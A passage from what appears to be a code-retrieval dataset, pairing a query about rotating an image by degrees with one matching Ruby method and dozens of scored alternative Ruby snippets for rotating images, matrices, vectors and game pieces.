@api.credential_handler()\n credentials.set_credential(:oauth2_token, token)\n credentials.set_credential(:client_customer_id, selected_account)\n end\n return @api\n end", "title": "" }, { "docid": "602e506c1155eb3ff087d409927a0185", "score": "0.48435926", "text": "def api_key_param\n \"apikey=#{ENV['ALMA_API_KEY']}\"\n end", "title": "" } ]
50333ef5bd93b7a71de9cb75fe03eb65
Rotate the image. Takes a single argument of degrees to rotate. Positive values rotate to the right, negative to the left. According to auugh: "The values seem to range as high as 135. Positive values rotate to the right, negative numbers rotate to the left. Negative numbers go... well, I stopped testing in the hundreds of millions, but there's not much need to go beyond 360, which takes it full circle. Positive rotations in some values seem to cause severe image shrinkage, so you should consider using a size adjustment after rotation."
[ { "docid": "4339add2e684212c5350f57ea9346b05", "score": "0.0", "text": "def tilt! (degrees)\n @transforms << \"PT#{degrees}\"\n self\n end", "title": "" } ]
[ { "docid": "d79d23851a3423c9aea95b6f62c7301f", "score": "0.74579275", "text": "def rotate( deg )\n set_base_image( base_image.rotate( deg ) )\n end", "title": "" }, { "docid": "12acf978ce97ea3407737b5980ab0cd4", "score": "0.7420056", "text": "def rotate angle\n position = \"#{@placement[:s]}x#{@placement[:s]}+#{@placement[:x]}+#{@placement[:y]}\"\n @image.run_command(\"convert\", @image.path, \"-rotate #{360 - angle}\", @image.path)\n @image.run_command(\"convert\", @image.path, \"-gravity Center -crop #{position}\", @image.path)\n end", "title": "" }, { "docid": "429cca65b0bb355903deaecac23c2c73", "score": "0.73461765", "text": "def rotate_image(image)\n\nend", "title": "" }, { "docid": "03ba005c6deba315443dcf96a7c9dcf4", "score": "0.71456486", "text": "def rotate(angle, around_x=0, around_y=0, &rendering_code); end", "title": "" }, { "docid": "91ef7c4507332ff55f936e466d32166d", "score": "0.7066752", "text": "def rotate(degrees)\n rsp = @flickr.send_request('flickr.photos.transform.rotate', {:photo_id => self.id, :degrees => degrees}, :post)\n true\n end", "title": "" }, { "docid": "d66ada946051b0579c7d59038447e5c1", "score": "0.7019609", "text": "def rotate\n @angle += Math::PI / 16\n @angle = @angle % (Math::PI * 2)\n end", "title": "" }, { "docid": "eb410f844f4ecbbf0c0f5dc6713dc745", "score": "0.6951757", "text": "def rotate image, angle, outimage=nil\n m_begin \"rotate\"\n img = get_image(image)\n if false\n rotated = img.rotate(angle)\n else\n#\n# from newsgroup: The alternative way to rotate is to use -filter point +distort SRT {angle} +repage\n#\n rotated = img.resize(img.columns, img.rows, PointFilter)\n rotated = img.distort(ScaleRotateTranslateDistortion, [angle])\n end\n outimage = image if outimage.nil?\n put_image(outimage, rotated)\n m_end \"rotate\"\n end", "title": "" }, { "docid": "d0434cfd4f784b8cdd0a416d9cf378f9", "score": "0.6847089", "text": "def rotate_180!\n pixels.reverse!\n self\n end", "title": "" }, { "docid": "c7b43a38ffbabea2cccecc5b2ab88b63", "score": "0.6758552", "text": "def rotate( angle_rad )\n dup.rotate!( angle_rad )\n end", "title": "" }, { "docid": "267c8a233543bda0f35328cbefe4033e", "score": "0.67504966", "text": "def generic_rotate90(image)\n # Rotates a square image 90 degrees clockwise.\n d = image.length\n new_image = d.times.map { \"x\"*d }\n (0...d).each do |r|\n (0...d).each do |c|\n new_image[c][d-1-r] = image[r][c]\n end\n end\n new_image\nend", "title": "" }, { "docid": "c148e95e3113e4d4098b5d3db7c80612", "score": "0.6738204", "text": "def rotate(angle)\n case angle % 360\n when 0 then dup\n when 90 then rotate_cw\n when 180 then rotate_flip\n when 270 then rotate_ccw\n else\n raise RuntimeError, \"unsupported rotation angle #{angle}\"\n end\n end", "title": "" }, { "docid": "ad42e9b19f6201bd544d0a0ee8df746b", "score": "0.6721201", "text": "def rotate(angle_or_direction)\n case angle_or_direction\n when :left\n radian = -90.degrees\n when :right\n radian = 90.degrees\n when :flip\n radian = 180.degrees\n when Numeric\n radian = angle_or_direction\n else\n raise \"Unknown angle/direction #{angle_or_direction.inspect}\"\n end\n\n w = (self.size.width * Math.cos(radian)).abs + (self.size.height * Math.sin(radian)).abs\n h = (self.size.height * Math.cos(radian)).abs + (self.size.width * Math.sin(radian)).abs\n new_size = CGSize.new(w, h)\n new_size = self.size\n\n # Create the bitmap context\n UIGraphicsBeginImageContext(new_size)\n bitmap = UIGraphicsGetCurrentContext()\n\n # Move the origin to the middle of the image so we will rotate and scale around the center.\n CGContextTranslateCTM(bitmap, new_size.width / 2, new_size.height / 2)\n\n # Rotate the image context\n CGContextRotateCTM(bitmap, radian)\n\n # otherwise it'll be upside down:\n CGContextScaleCTM(bitmap, 1.0, -1.0)\n # Now, draw the rotated/scaled image into the context\n CGContextDrawImage(bitmap, CGRectMake(-new_size.width / 2, -new_size.height / 2, new_size.width, new_size.height), self.CGImage)\n\n new_image = UIGraphicsGetImageFromCurrentImageContext()\n UIGraphicsEndImageContext()\n return new_image\n end", "title": "" }, { "docid": "c8f50299cce6f47ddc37e19d98c1ac5a", "score": "0.6703397", "text": "def rotate!( angle_rad )\n self.angle += angle_rad\n self\n end", "title": "" }, { "docid": "79447aabe34263de3363c781e8f0c17d", "score": "0.66807425", "text": "def rotate(angle_or_direction)\n case angle_or_direction\n when :left\n radian = -90.degrees\n when :right\n radian = 90.degrees\n when :flip\n radian = 180.degrees\n when Numeric\n radian = angle_or_direction\n else\n raise \"Unknown angle/direction #{angle_or_direction.inspect}\"\n end\n\n w = (self.size.width * Math.cos(radian)).abs + (self.size.height * Math.sin(radian)).abs\n h = (self.size.height * Math.cos(radian)).abs + (self.size.width * Math.sin(radian)).abs\n new_size = CGSize.new(w, h)\n new_size = self.size\n\n # Create the bitmap context\n UIGraphicsBeginImageContextWithOptions(new_size, false, self.scale)\n bitmap = UIGraphicsGetCurrentContext()\n\n # Move the origin to the middle of the image so we will rotate and scale around the center.\n CGContextTranslateCTM(bitmap, new_size.width / 2, new_size.height / 2)\n\n # Rotate the image context\n CGContextRotateCTM(bitmap, radian)\n\n # otherwise it'll be upside down:\n CGContextScaleCTM(bitmap, 1.0, -1.0)\n # Now, draw the rotated/scaled image into the context\n CGContextDrawImage(bitmap, CGRectMake(-new_size.width / 2, -new_size.height / 2, new_size.width, new_size.height), self.CGImage)\n\n new_image = UIGraphicsGetImageFromCurrentImageContext()\n UIGraphicsEndImageContext()\n return new_image\n end", "title": "" }, { "docid": "4cc2b83a5a02f802e82939b2f8795555", "score": "0.6656855", "text": "def rot90\n rot :d90\n end", "title": "" }, { "docid": "7c7b375cf9a759e58a7108430bbd19d8", "score": "0.6628772", "text": "def rotate\n @photo = Photo.find(params[:id])\n img = Magick::Image.read('public' + @photo.attachment_url).first\n img = img.rotate(90)\n img.write('public' + @photo.attachment_url)\n end", "title": "" }, { "docid": "1303e91a5b951afb69740c97951c0cf0", "score": "0.6620935", "text": "def rotate_right!\n @picture.rotate_right!\n end", "title": "" }, { "docid": "dbefd27830c37527b680ac11cdbb91c7", "score": "0.66195565", "text": "def rotate(angle)\n primitive 'rotate ' + sprintf('%g', angle)\n end", "title": "" }, { "docid": "58ea1a5d2bd50bd69f82d8a93469602c", "score": "0.6600657", "text": "def rotate!(radians)\n sin = Math.sin radians\n cos = Math.cos radians\n prev_x = @x\n @x = cos * @x - sin * @y\n @y = sin * prev_x + cos * @y\n end", "title": "" }, { "docid": "3ea4d3947c4a7ee510d4d9edf906ddcb", "score": "0.65132093", "text": "def r90; self.rotation = 'fa-rotate-90'; self; end", "title": "" }, { "docid": "88e628308807fa924704b9bec4380bcd", "score": "0.65112484", "text": "def rot180\n rot :d180\n end", "title": "" }, { "docid": "554814e9654a7b827494e8b2bfb17cdf", "score": "0.6499962", "text": "def rotate_deg!( angle_deg )\n self.angle_deg += angle_deg\n self\n end", "title": "" }, { "docid": "c887cc6b7241f988f99cc07df7c21a4c", "score": "0.6489377", "text": "def rotate_deg( angle_deg )\n dup.rotate_deg!( angle_deg )\n end", "title": "" }, { "docid": "7cdf5480251c038028e152809dba5b09", "score": "0.64046097", "text": "def edit_rotate(degrees, image_file, opts = {})\n data, _status_code, _headers = edit_rotate_with_http_info(degrees, image_file, opts)\n data\n end", "title": "" }, { "docid": "acaa030ed45722148125fa3b5e9f266a", "score": "0.63904005", "text": "def rotate(matrix, degrees)\n rotations = degrees/90\n new_matrix = matrix.dup\n rotations.times do\n new_matrix = rotate90(new_matrix)\n end\n new_matrix\nend", "title": "" }, { "docid": "684a7f347f8a6241fcf4fe62d1cc3e64", "score": "0.6385454", "text": "def rotate_left!\n @picture.rotate_left!\n end", "title": "" }, { "docid": "ceef1acacdaacdfe573f5a6f8b053479", "score": "0.63657135", "text": "def rotate!(angle, axis_x = width / 2.0, axis_y = height / 2.0)\n ptr = self.class.create_image_ptr(width, height, alpha_blending?)\n ::GD2::GD2FFI.send(:gdImageCopyRotated, ptr, image_ptr, axis_x.to_f, axis_y.to_f, 0, 0, width.to_i, height.to_i, angle.to_degrees.round.to_i)\n init_with_image(ptr)\n end", "title": "" }, { "docid": "c0fa06111d4167ff7f71e2f06ed94f26", "score": "0.6357782", "text": "def rotated\n RawImage.new(@image.getRotated())\n end", "title": "" }, { "docid": "3cc1b4e08ca61689ed60c52ebdad5aad", "score": "0.6342297", "text": "def rotate_around!(degrees, origin=Point.empty)\n result = rotate_around(degrees, origin)\n @x = result.x\n @y = result.y\n return result\n end", "title": "" }, { "docid": "23c5e0a5eced459e631d81d6ce7b9db6", "score": "0.6292144", "text": "def increase_rotation angle\n error(\n \"Passed argument `angle' needs to be an Integer or Float, but got\",\n \" #{angle.inspect}.#{angle.class.name}\"\n ) unless ([Integer, Float].include? angle.class)\n @rotation += angle\n handle_rotation_overflow\n end", "title": "" }, { "docid": "ab36997186306c00a3b6154fdaeaf859", "score": "0.62559474", "text": "def rotate!(n = 1)\n @angle = (@angle + n) % ORIENTATIONS.count\n end", "title": "" }, { "docid": "6da848d0f83ed7969aa89a20fcfdfb33", "score": "0.6237696", "text": "def rotate(matrix, degrees)\n case degrees\n when 90\n rotate90(matrix)\n when 180\n rotate90(rotate90(matrix))\n when 270\n rotate90(rotate90(rotate90(matrix)))\n when 360\n rotate90(rotate90(rotate90(rotate90(matrix))))\n else\n p \"You passed #{degrees}, I can only handle 90, 180, 270 and 360\"\n end\nend", "title": "" }, { "docid": "bc3f7fb0eb8f0aef8dc6cc26e2fca9df", "score": "0.6231414", "text": "def rot270\n rot :d270\n end", "title": "" }, { "docid": "145b577d84747c9974ba44f828a98119", "score": "0.6230056", "text": "def rotate(angle, axis_x = width / 2.0, axis_y = height / 2.0)\n clone.rotate!(angle, axis_x, axis_y)\n end", "title": "" }, { "docid": "4f7a3e7beffa88f14a1cb5031aefe1ee", "score": "0.621542", "text": "def rotate_around(degrees, origin=Point.empty)\n return self.to_point.rotate_around(degrees, origin)\n end", "title": "" }, { "docid": "6fa9889a318c1eb7bb2469b5dcd1dce9", "score": "0.6208935", "text": "def rotate(deg=0)\n CGContextRotateCTM(@ctx, radians(-deg));\n end", "title": "" }, { "docid": "d742c148adcad04a3fc67626499ff394", "score": "0.6204633", "text": "def rotateToDegree(degree)\n preDegree = getActualAngle\n adjustment = degree - preDegree\n rotateByDegree(adjustment)\n \n dir = getCurrentDirection\n if(@@roomView)\n @@rotationArray.unshift(dir) \n end\n\n if(@@eyeView) \n @@rotateAngle = adjustment\n @@view.animation = Avatar.new\n @@rotateAngle = 0\n end\n end", "title": "" }, { "docid": "18e1952a61de883fcb3038ef821239db", "score": "0.620221", "text": "def transform\n if rotate\n \"rotate(#{rotate},#{x},#{y})\"\n else\n nil\n end\n end", "title": "" }, { "docid": "062417bfa28363607e8ebf55788ddb7e", "score": "0.61968046", "text": "def rotate!( *args )\n super( *args )\n reset_positions_inside\n end", "title": "" }, { "docid": "34d8e51454df9934d282a60c4e34615e", "score": "0.61822087", "text": "def rotate direction, origin = Vector[0,0,0], angle\n @pos.rotate!(direction.to_v,origin.to_v,angle)\n end", "title": "" }, { "docid": "0fadde08cc57c5556c6e7257881d56b2", "score": "0.61792654", "text": "def rotate(matrix, degrees)\n rotations = degrees / 90 % 4\n return matrix if rotations == 0\n new_matrix = rotate90(matrix)\n count = 1\n while count < rotations\n new_matrix = rotate90(new_matrix)\n count += 1\n end\n new_matrix\nend", "title": "" }, { "docid": "eb0ac09b670d0f503d1be5a42860addc", "score": "0.6177483", "text": "def rotate(direction)\n @direction = Compass.new.get_direction(@direction).resolve(direction)\n end", "title": "" }, { "docid": "6ce8897080c618ec860ba4c04794c9a1", "score": "0.61723953", "text": "def rotated_90_cw\n dst = Image.new(width: height, height: width, bpp: bpp)\n each_pixel do |c,x,y|\n dst[y,width-x-1] = c\n end\n dst\n end", "title": "" }, { "docid": "628487eb6e877e352dd84134b767f05b", "score": "0.61641747", "text": "def test_rotate_270_degrees\n angle = 270\n new_transform = @subject.rotate(angle)\n\n assert_equal Vector2D.new(0, 0), new_transform.position\n assert_equal Vector2D.new(2, 0), new_transform.target\n end", "title": "" }, { "docid": "6d83cc0020624754916b7dd98a48f9d1", "score": "0.6158357", "text": "def my_rotate(rotation = 1)\n # debugger\n answer = []\n each_with_index { |x, i| answer[i] = x }\n if rotation > 0\n rotation.times { answer.push(answer.shift) }\n elsif rotation == 0\n answer\n else\n rotation.abs.times { answer.unshift(answer.pop) }\n end\n answer\n end", "title": "" }, { "docid": "c5e34d251753d625d5498264c241ac1e", "score": "0.614532", "text": "def rotateLeft()\n twoTypeRotate()\n end", "title": "" }, { "docid": "0b98e26cba7181778e8e2734ad4ce4a5", "score": "0.61443025", "text": "def test_rotate_360_degrees\n angle = 360\n new_transform = @subject.rotate(angle)\n\n assert_equal Vector2D.new(0, 0), new_transform.position\n assert_equal Vector2D.new(0, 2), new_transform.target\n end", "title": "" }, { "docid": "1bfe24f37cd4766a8a8ecfeed011ef59", "score": "0.61223125", "text": "def rotateRight()\n twoTypeRotate()\n end", "title": "" }, { "docid": "a878d49398177c885e599bd8cdfc5b6e", "score": "0.61115927", "text": "def rotate_180\n dup.rotate_180!\n end", "title": "" }, { "docid": "de21db67b43a3e89006210dcb2cf2c6f", "score": "0.6090614", "text": "def rotate_around!(degrees, origin=Point.empty)\n result = self.to_point.rotate_around(degrees, origin)\n self.x = result.x\n self.y = result.y\n return result\n end", "title": "" }, { "docid": "6100af39b4dbf1cb78df18a82c4bcb85", "score": "0.6074648", "text": "def rotate(options={}, more_options={}, &after)\n if options.is_a? Numeric\n new_angle = options\n options = more_options\n else\n new_angle = options[:angle]\n end\n\n old_angle = valueForKeyPath('layer.transform.rotation.z')\n options[:angle] = old_angle + new_angle\n rotate_to(options, &after)\n end", "title": "" }, { "docid": "6100af39b4dbf1cb78df18a82c4bcb85", "score": "0.6074648", "text": "def rotate(options={}, more_options={}, &after)\n if options.is_a? Numeric\n new_angle = options\n options = more_options\n else\n new_angle = options[:angle]\n end\n\n old_angle = valueForKeyPath('layer.transform.rotation.z')\n options[:angle] = old_angle + new_angle\n rotate_to(options, &after)\n end", "title": "" }, { "docid": "4f82449ce67d0fd609a196d28e04ccd6", "score": "0.6055834", "text": "def rotate!\n @num_rotations = (@num_rotations+1) % NUM_SIDES\n end", "title": "" }, { "docid": "1e5ac678f17de51790f3a791ab7d5562", "score": "0.6050889", "text": "def rotate_origo(angle_x = 0, angle_y = 0, angle_z = 0)\n\t\[email protected] do |a|\n\t\t\ta.each do |b|\n\t\t\t\tx = b[0]; y = b[1]; z = b[2]\n\n\t\t\t\tx, y, z = rotate_point(x, y, z, 0, 0, 0, angle_x, angle_y, angle_z)\n\n\t\t\t\tb[0] = x; b[1] = y; b[2] = z\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "94dffa3fe2a163f77bda6e5371300ef5", "score": "0.60331774", "text": "def rotate(direction)\n if !self.on_table # No rotation is possible if the robot has not been placed\n return false\n end\n\n new_orientation = 0\n\n # Turning right or left means a 90 degres rotation\n # Left is a negative rotation\n # Right is a positive rotation\n case direction\n when \"left\"\n new_orientation = self.orientation - 90 \n\n # The rotation is looping in the interval [0 270] with a step of 90 \n if new_orientation < 0\n new_orientation = 270 \n end\n\n when \"right\"\n new_orientation = self.orientation + 90\n\n # The rotation is looping in the interval [0 270] with a step of 90 \n if new_orientation > 270\n new_orientation = 0\n end\n\n else\n return false # If the direction was neither right or left, return false\n end\n\n self.orientation = new_orientation\n end", "title": "" }, { "docid": "aecfd6484b9a32766304b0f3acc5816e", "score": "0.59981227", "text": "def rotate(radians)\n sin = Math.sin radians\n cos = Math.cos radians\n Vector.new cos * @x - sin * @y, sin * @x + cos * @y\n end", "title": "" }, { "docid": "71408dfbd1f360cf8d3fb7e978eaa029", "score": "0.5948823", "text": "def turn_right\n @angle += ROTATION_SPEED\n end", "title": "" }, { "docid": "99f4403f281858acea1a241b051508e7", "score": "0.59409827", "text": "def rotate(angle_x = 0, angle_y = 0, angle_z = 0)\n\t\tc = 0; cx = 0; cy = 0; cz = 0\n\t\t# get middle point\n\t\[email protected] do |a|\n\t\t\ta.each do |b|\n\t\t\t\tcx += b[0]\n\t\t\t\tcy += b[1]\n\t\t\t\tcz += b[2]\n\t\t\t\tc +=1\n\t\t\tend\n\t\tend\n\t\tcx /= c; cy /= c; cz /= c\n\t\t# rotate points\n\t\[email protected] do |a|\n\t\t\ta.each do |b|\n\t\t\t\tx = b[0]; y = b[1]; z = b[2]\n\n\t\t\t\tx, y, z = rotate_point(x, y, z, cx, cy, cz, angle_x, angle_y, angle_z)\n\n\t\t\t\tb[0] = x; b[1] = y; b[2] = z\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "b0acddb9499af8e66cbd3e062aabf28d", "score": "0.5916803", "text": "def test_rotate_180_degrees\n angle = 180\n new_transform = @subject.rotate(angle)\n\n assert_equal Vector2D.new(0, 0), new_transform.position\n assert_equal Vector2D.new(0, -2), new_transform.target\n end", "title": "" }, { "docid": "8dfeb19ffef4b53e671f02bd754b18c0", "score": "0.59153414", "text": "def test_rotate_90_degrees\n angle = 90\n new_transform = @subject.rotate(angle)\n\n assert_equal Vector2D.new(0, 0), new_transform.position\n assert_equal Vector2D.new(-2, 0), new_transform.target\n end", "title": "" }, { "docid": "6378bd87bdd4c9be953785fd29fc30cc", "score": "0.5914244", "text": "def turn_right(angle)\n @angle = @angle -angle*Math::PI / 180\n end", "title": "" }, { "docid": "7d4387022d5f00e72c205721d5344056", "score": "0.5911162", "text": "def my_rotate!(array, amt)\n\nend", "title": "" }, { "docid": "5acd522221e8b26d904d0dd0fca0ea3f", "score": "0.59073144", "text": "def rotateByDegree(angle)\n return unless defined? angle\n currentPosition = getCurrentPosition\n z_vector = [0, 0, 1]\n\n rotationTransformation = Geom::Transformation.rotation(currentPosition, z_vector, angle.degrees)\n @@componentInstance.transform! (rotationTransformation)\n\n # Need to update the most recent transformation!!!\n # Without updating, the rotation will be changed to the initial status when move the model.\n updateAvatarLocation\n updateTransformation\n updateViewPort\n\n end", "title": "" }, { "docid": "54b365c37859d9f38629f6b96d8e4787", "score": "0.5898793", "text": "def normalize_rotation(driver, image, rotation)\n return if rotation && rotation.zero?\n\n num_quadrants = 0\n if !rotation.nil?\n if (rotation % RIGHT_ANGLE).nonzero?\n raise Applitools::EyesError.new('Currently only quadrant rotations are supported. Current rotation: '\\\n \"#{rotation}\")\n end\n num_quadrants = (rotation / RIGHT_ANGLE).to_i\n elsif rotation.nil? && driver.mobile_device? && driver.landscape_orientation? && image.height > image.width\n # For Android, we need to rotate images to the right, and for iOS to the left.\n num_quadrants = driver.android? ? 1 : -1\n end\n\n Applitools::Utils::ImageUtils.quadrant_rotate!(image, num_quadrants)\n end", "title": "" }, { "docid": "89a96ff3ed14ad9e9d93eb7e235c8f62", "score": "0.58899146", "text": "def rotation(during, on, angle_start, angle_end, distortion: :UNICITY_DISTORTION, time_source: :GENERIC_TIME_SOURCE)\n ScalarAnimation.new(during, on, :angle=, angle_start, angle_end, distortion: distortion, time_source: time_source)\n end", "title": "" }, { "docid": "b2ce3eaf7b15a302b7bc3cfd87df3a73", "score": "0.5885266", "text": "def rotate_array(aArray, off_x, off_y, rel_angle, change_in_place=false)\r\n # - - - - - - - - - - - - - - - - - - - - -\r\nend", "title": "" }, { "docid": "a0394f1f80c16eadb0be6bfa9188a3f0", "score": "0.58829355", "text": "def rotate(n = 1)\n Orientation.new(ORIENTATIONS.index((@angle + n) % ORIENTATIONS.count))\n end", "title": "" }, { "docid": "e2a366a21e2b46d5a71b5b5f8f157d48", "score": "0.5878194", "text": "def mirror_angle_horizontally!\n @angle = (-@angle) % 360\n end", "title": "" }, { "docid": "5beaabd06d0022d1edabd9fd2684fe32", "score": "0.5858487", "text": "def set_rotation angle\n error(\n \"Passed argument `angle' needs to be an Integer or Float, but got\",\n \" #{angle.inspect}.#{angle.class.name}\"\n ) unless ([Integer, Float].include? angle.class)\n @rotation = angle\n handle_rotation_overflow\n end", "title": "" }, { "docid": "0386ca5b272883ad301aa05bfa2caf03", "score": "0.58578354", "text": "def rotate(angle, *params)\n absolute_or_coord = params[0] || true\n mode_or_coord = params[1] || :degrees\n mode = params[2] || :degrees\n\n if absolute_or_coord.kind_of? Numeric\n raise TypeError(\"Second and third arguments should be numeric if using coordinates\") unless mode_or_coord.kind_of? Numeric\n if mode == :radians\n raise TypeError(\"#{angle} should be numeric if using with :radians mode\") unless angle.kind_of? Numeric\n angle = radians_to_degrees(angle)\n end\n @canvas << js_method('rotate', angle, absolute_or_coord, mode_or_coord)\n else\n if mode_or_coord == :radians\n raise TypeError(\"#{angle} should be numeric if using with :radians mode\") unless angle.kind_of? Numeric\n angle = radians_to_degrees(angle)\n end\n @canvas << js_method('rotate', angle, !!absolute_or_coord)\n end\n return self\n end", "title": "" }, { "docid": "7f1fab019d1c934094242c2214f55f30", "score": "0.5848307", "text": "def rotate_around(degrees, origin=Point.empty)\n radians = degrees * Math::PI / 180\n x2 = x - origin.x\n y2 = y - origin.y\n\n cos = Math.cos(radians)\n sin = Math.sin(radians)\n\n return Point.new(\n x2*cos - y2*sin + origin.x,\n x2*sin + y2*cos + origin.y\n )\n end", "title": "" }, { "docid": "b118722a1325b058a6646d1ec0c85306", "score": "0.5845057", "text": "def rotate(angle, *args)\n begin\n case args.length\n when 0\n @transforms << [:rotate, [Float(angle)]]\n when 2\n cx = Float(args[0])\n cy = Float(args[1])\n @transforms << [:translate, [cx, cy]]\n @transforms << [:rotate, [angle]]\n @transforms << [:translate, [-cx, -cy]]\n else\n raise ArgumentError, \"wrong number of arguments (#{args.length} for 1 or 3)\"\n end\n rescue ArgumentError\n raise ArgumentError, \"arguments must be convertable to float (got #{[angle, *args].map(&:class).join(', ')})\"\n end\n yield(self) if block_given?\n self\n end", "title": "" }, { "docid": "8ddde526b9590457ce3fedf61a69b695", "score": "0.5822201", "text": "def test_rotate_negative_90_degrees\n angle = -90\n new_transform = @subject.rotate(angle)\n\n assert_equal Vector2D.new(0, 0), new_transform.position\n assert_equal Vector2D.new(2, 0), new_transform.target\n end", "title": "" }, { "docid": "d9c63a64d1ab99f3b7deb116e8f64eb3", "score": "0.5815983", "text": "def rotate_180\n if !game_over? and @game.is_running?\n @current_block.move(0, 0, 2)\n end\n draw\n end", "title": "" }, { "docid": "963364392f7fc6908d49a996b18ca07b", "score": "0.5803437", "text": "def rotate(unrotated)\n return '' if unrotated.empty?\n unrotated[1..-1] + unrotated[0]\nend", "title": "" }, { "docid": "f56d21201087fd060dd1063f4deeec5e", "score": "0.57935804", "text": "def rot(position)\n position + 13\n end", "title": "" }, { "docid": "f397eac79a3df18dd5a6052ac91e2dc6", "score": "0.57836604", "text": "def rotate_image_right!(albid, imgid)\n img = image(albid, imgid)\n IMagick.rotate_right(_(img[:path]))\n IMagick.rotate_right(_(img[:thumb]))\n true\n end", "title": "" }, { "docid": "2b875166a67d6189b11d6dd07cb3d9e4", "score": "0.578363", "text": "def right\r\n @angle += ROTATION_ANGLE\r\n end", "title": "" }, { "docid": "bce149d308e4455e54b974250d7454fd", "score": "0.57721424", "text": "def my_rotate(arr)\n print arr.rotate\n end", "title": "" }, { "docid": "78658a2cfa717404bdbd37eb7c439911", "score": "0.5763635", "text": "def rotate(angle, x, y, &block)\n cur_page.rotate(angle, x, y, &block)\n end", "title": "" }, { "docid": "47938a793cd847469390694858f1e3fb", "score": "0.5759602", "text": "def rotateAndFlip(image)\n return image.transpose.flip\nend", "title": "" }, { "docid": "744539ed42b7d0e029dcf80dcec4e7ba", "score": "0.5753695", "text": "def rot90(k=1,axes=[0,1])\n case k % 4\n when 0\n view\n when 1\n swapaxes(*axes).reverse(axes[0])\n when 2\n reverse(*axes)\n when 3\n swapaxes(*axes).reverse(axes[1])\n end\n end", "title": "" }, { "docid": "662dc880cd67c87da94f7d64e5bdbfc7", "score": "0.57517093", "text": "def rotate(angle) \n set RGhost::Cursor.rotate(angle)\n end", "title": "" }, { "docid": "2f735c25d457488f8232d6d2fdc9c0d1", "score": "0.5740768", "text": "def rotateRight()\n fourTypeRotate(Tetromino::COUNTERCLOCKWISE)\n end", "title": "" }, { "docid": "3f484331974b4c7eff2b7a422ed97ce1", "score": "0.5720505", "text": "def create_rotation\n end", "title": "" }, { "docid": "0e63111995a475424433e49c9dce7d3a", "score": "0.57122874", "text": "def rotate_around_origin(angle)\n sin_of_angle = Math.sin(angle)\n cos_of_angle = Math.cos(angle)\n\n Point.new(\n x * cos_of_angle - y * sin_of_angle,\n x * sin_of_angle + y * cos_of_angle\n )\n end", "title": "" }, { "docid": "2c3b8a21f992d5b792b66c4b7d22b32b", "score": "0.569878", "text": "def mirror_angle_vertically!\n @angle = (180 - @angle) % 360\n end", "title": "" }, { "docid": "2ddc0c50d84a89ad0a4c3e3a9220ff39", "score": "0.5692176", "text": "def rotate_back\n @falling_piece.current_rotation = (@falling_piece.current_rotation - 1) % @falling_piece.blocks.length\n end", "title": "" }, { "docid": "f8af81d1ef87586a8108acc389a9f7ea", "score": "0.568972", "text": "def rotate(arr)\n\nend", "title": "" }, { "docid": "d20d71d880e756b221882de800ed289e", "score": "0.5687697", "text": "def rotate(direction)\n #possible states\n orientations = [\"N\",\"E\",\"S\",\"W\"]\n currentOrientation = orientations.index(@name)\n case direction\n when \"l\"\n newOrientation = (currentOrientation - 1)%4\n set(orientations[newOrientation])\n when \"r\"\n newOrientation = (currentOrientation + 1)%4\n set(orientations[newOrientation])\n else\n # TODO: Exception\n end\n\n end", "title": "" }, { "docid": "13cadca07b9fdd969a9cbbe7ace28c52", "score": "0.5676396", "text": "def rotater(grados)\n if grados < 0\n self.rotatel(grados.abs)\n else\n suma = @grados - grados\n if suma >= 360\n grados_aux = suma%360\t\n else\n \tgrados_aux = suma\n end\n if grados_aux < 0\n \t\t@grados = 360 + grados_aux\n \telse\n \t\t@grados = grados_aux\n \tend\n end\n end", "title": "" }, { "docid": "539a6e6ca51782e4c3ed249bd1c39c70", "score": "0.5666315", "text": "def rotate_by(angle, axis)\n\t\t# rotate only if cuboid is rotatable\n\t\t# determine the new dimensions for the cuboid from the old position and the given angle and axis of rotation\n\t\t# To achieve this, hold the index corresponding to the given 'axis' fixed and swap the other two idices. This is because there will be no change in dimensions in the axis of rotation. The other two indices are swapped beacuse they are perpendicular to each other and the angle of rotation is 90 degrees per rotation. The direction of rotation will be determined by the sign of the angle, where I take positive angles to be clockwise and negative angles to be counter-clockwise\n\t\tnum_of_rotations = angle.abs / 90 # determine how many roations to make\n\n\t\twhile num_of_rotations > 0 \n\t\t\tpivot = angle <= 0 ? (-1) : 1 # determine the sign from the angle. The pivot will either roatate towards the origin (0,0,0) or away from it\n\t\t\tif axis == 0\n\t\t\t\t@curr_origin = [curr_origin[0], curr_origin[1], curr_origin[2] + dimensions[2] * pivot]\n\t\t\t\t@dimensions = [dimensions[0], dimensions[2], dimensions[1]]\n\t\t\telsif axis == 1\n\t\t\t\t@curr_origin = [curr_origin[0] + dimensions[0] * pivot, curr_origin[1], curr_origin[2]]\n\t\t\t\t@dimensions = [dimensions[2], dimensions[1], dimensions[0]]\t\n\t\t\telse \n\t\t\t\t@curr_origin = [curr_origin[0], curr_origin[1] + dimensions[1] * pivot, curr_origin[2]]\n\t\t\t\t@dimensions = [dimensions[0], dimensions[1], dimensions[2]]\n\t\t\tend\n\n\t\t\tnum_of_rotations -= 1 # ignore angles smaller than 90 and round down thsoe greater than 90 to the nearest multiple of 90.\n\t\tend\n\n\t\t[@curr_origin, @dimensions] # return the curr_origin and dimensions to confirm rotation was successful\n\tend", "title": "" }, { "docid": "2f19e7cb4d8f2786ca7ad66f653f1244", "score": "0.56619966", "text": "def apply_rotation\n if @rotation_block != nil\n ([email protected](@rotation_cycle)).each do |i|\n @blocks.each do |block|\n old_x = block.x\n old_y = block.y\n block.x = @rotation_block.x + (@rotation_block.y - old_y)\n block.y = @rotation_block.y - (@rotation_block.x - old_x)\n end\n end\n end\n end", "title": "" }, { "docid": "7f2f455e7810e0117c1253c6765fa521", "score": "0.56610507", "text": "def rotateLeft()\n fourTypeRotate(Tetromino::CLOCKWISE)\n end", "title": "" }, { "docid": "b9c762678301512d866408a75d5b834c", "score": "0.5659473", "text": "def zrotation\n end", "title": "" }, { "docid": "1bddc038525fb076caaa7e9b8a1cacc0", "score": "0.56583726", "text": "def rotate90(matrix, degrees = 90)\n rotated = matrix\n (degrees / 90).times { rotated = rotated.transpose.map(&:reverse) }\n rotated\nend", "title": "" }, { "docid": "096bd833372ab6114305c03df39cc5aa", "score": "0.5655815", "text": "def rotate_right\n @facing =\n @cardinals_rev[@cardinals_rev.index(@facing) - 1]\n self\n end", "title": "" }, { "docid": "b386543b713260215895112447590760", "score": "0.56537294", "text": "def checkrotation(filepath)\n\t# rotate if needed - normally these are 300 wide by 419 high\n\timg = Magick::Image.read(filepath).first\n\n\tif(img.columns > img.rows) # too wide so rotate 